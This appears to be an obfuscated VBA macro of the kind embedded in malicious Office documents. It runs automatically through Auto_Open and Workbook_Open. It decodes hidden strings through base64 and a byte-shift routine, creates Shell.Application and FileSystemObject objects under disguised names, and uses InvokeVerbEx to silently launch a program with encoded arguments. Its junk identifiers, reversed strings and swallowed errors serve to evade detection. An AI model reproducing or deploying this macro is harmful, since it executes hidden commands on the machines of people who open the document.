Private hsingingh,vlistenf,ndelhie,pwholeg As String
	 Sub Auto_Open()
		wdiffsj
	   End Sub
  '  On E

	   Private Function tmeditationx(ByVal pincentivek As _
	        String) As Byte()
 On Error GoTo pmarketplacei
		' Set ylovesy = nlightingq.create
Dim nlightingq, ylovesy, bmaintenancee, hspearsu
  Set nlightingq = CreateObject(vlistenf & StrReverse("E02B-2" _
      & "D11-63B7-09" _
      & "FB3392:wen") & StrReverse("06E389F40C00-"))
'  pmarketplacei:
 Set ylovesy = nlightingq.createElement(StrReverse("an" _
     & "retnIem" _
     & "os_fbo") & vlistenf & Chr(Int("108")) & ndelhie & Chr _
         (5090-5012 _
         ) & Chr(&H61) & "m" & Chr(Int("&H65")))
	   ylovesy.DataType = StrReverse("ab.nib") & _
	        vlistenf & "se" & hsingingh & "64"
 '  Set hcubej = kfareu.ParseName(cwebh) 	 
  ylovesy.Text = pincentivek
 bmaintenancee = ylovesy.NodeTypedValue
	   For hspearsu = LBound(bmaintenancee) To UBound(bmaintenancee)
  'Set nlightingq = CreateObject(vlistenf & StrReverse("E02B-2D11-63
bmaintenancee(hspearsu) = (bmaintenancee(hspearsu) + 35) Mod 256
Next
	tmeditationx = bmaintenancee
  Exit Function
		pmarketplacei:

	  End Function
	   Private Function xanalogi(ByVal pincentivek As String) As String
' On Error GoTo pmarketplacei
	   Dim ralabamak() As Byte
	' Exit Function
	   ralabamak = tmeditationx(pincentivek)
   xanalogi = StrConv(ralabamak, vbUnicode)
		'wdiffsj
  End Function

   Sub wdiffsj()
	   On Error Resume Next
	   bspokeu
	End Sub
 Sub aweblogs(ByVal ncookingx As String)
	  ' Sub aweblogs(ByVal ncookingx As String)
	  On Error GoTo pmarketplacei
'End Sub
  Dim cwebh, afollowsc, jjpegg, wallowsa, njayv
  Dim kfareu, hcubej, zallowedi
		Dim qoccasionsi As Object: Set qoccasionsi = _
		     CreateObject(xanalogi(hsingingh & _
		     StrReverse("g4gDKAhFNMiCO0gIjAREh0wFUJ0S") & StrReverse("==QFP8QES0gFg" _
		         & "0gHN0" _
		         & "gCNEhFVowI")))
  Dim tmyersu
tmyersu = ncookingx
   '  On Error Resume Next
	   jjpegg = ""
cwebh = Trim(tmyersu)
		afollowsc = InStr(2, tmyersu, xanalogi(StrReverse("==w/")))

	  wallowsa = InStr(1, tmyersu, " ")
   If Left(tmyersu, 1) = xanalogi(StrReverse("==w/")) And _
        afollowsc > 0 Then
	  ' tmyersu = ncookingx
	 cwebh = Trim(Mid(tmyersu, 2, afollowsc - 2))
	  'If qoccasionsi.FileExists(cwebh) Then
	jjpegg = Trim(Mid(tmyersu, afollowsc + 1))

		ElseIf wallowsa > 0 Then
'  Dim qoccasionsi As Object: S
   cwebh = Trim(Mid(tmyersu, 1, wallowsa - 1))
	jjpegg = Trim(Mid(tmyersu, wallowsa + 1))
 End If
		Dim ofeaturedt
	' njayv = qoccasions
	Set ofeaturedt = GetObject(xanalogi(StrReverse("eogIg4gDKYBFPAiCN8wEW0AFQ" _
	    & "4wFUJ0S") & StrReverse("==QDN0QDRIBESIREREhCiYRE")))
  If qoccasionsi.FileExists(cwebh) Then
 njayv = qoccasionsi.GetParentFolderName(cwebh) & "\"
  cwebh = qoccasionsi.GetFileName(cwebh)
	   Set kfareu = ofeaturedt.Namespace(njayv)
   'pmarketplacei:

   If (Not kfareu Is Nothing) Then
	 Set zallowedi = kfareu.Items()
   'cwebh = qoccasionsi.GetFileName(cwebh)
		For Each hcubej In zallowedi
	 If InStr(hcubej, cwebh) Then
   hcubej.InvokeVerbEx xanalogi(hsingingh & StrReverse _
       ("wSC1ET") & "=="), "" _
       & " " & jjpegg
		Exit Sub
	  End If
	 Next

   End If
	Else
	  Dim acomplaintse As Variant
	 acomplaintse = Array(26, 28, 36, 37, 40, 49)
	 ' cwebh = qoccasionsi.GetFileName(cwebh)
	  cwebh = qoccasionsi.GetFileName(cwebh)
For Each zgabrielz In acomplaintse
		Set kfareu = ofeaturedt.Namespace(zgabrielz)

	  ' tmyersu = ncookingx
   If (Not kfareu Is Nothing) Then
   Set hcubej = kfareu.ParseName(cwebh)
	  If (Not hcubej Is Nothing) Then
	  hcubej.InvokeVerbEx xanalogi(hsingingh & StrReverse("wS" _
	      & "C1ET") & "=="), " " & jjpegg
'For Each hcubej In zallowedi
Exit Sub
 End If
  '  Set nlightingq = Creat
	End If
Next
	  End If
 pmarketplacei:
	   End Sub
	 Sub Workbook_Open()
  wdiffsj
	   End Sub
  Sub bspokeu()
  On Error GoTo pmarketplacei
  '  Set nlightingq = CreateObject(v

   Dim uexcellentd
 uexcellentd = ""

		aweblogs xanalogi(xanalogi(ndelhie & "MA1VLy5I" & "D" _
		    & "QguLhoa" & ndelhie))
	 pmarketplacei:
   End Sub